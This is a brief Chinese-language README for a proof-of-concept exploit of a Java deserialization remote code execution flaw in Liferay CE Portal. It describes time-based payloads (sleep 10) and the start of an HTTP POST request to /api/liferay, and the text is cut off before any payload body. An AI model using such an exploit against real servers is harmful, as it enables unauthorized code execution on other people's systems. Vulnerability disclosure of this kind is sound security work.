Liferay-CE-Portal-Java-Deserialization

Liferay-CE-Portal-Java-Deserialization 此仓库包含 Liferay CE Portal 远程代码执行漏洞的 PoC！ 有效载荷 我已在仓库中分享了有效载荷。你必须通过暴力破解方法找到正确的语法。我分享的有效载荷用于基于时间的概念验证（sleep 10）。应用程序可能并不总是输出命令。因此，在进行 PoC 时，你应该尝试基于时间的有效载荷。 概念验证 POST /api/liferay HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10.15; rv:72...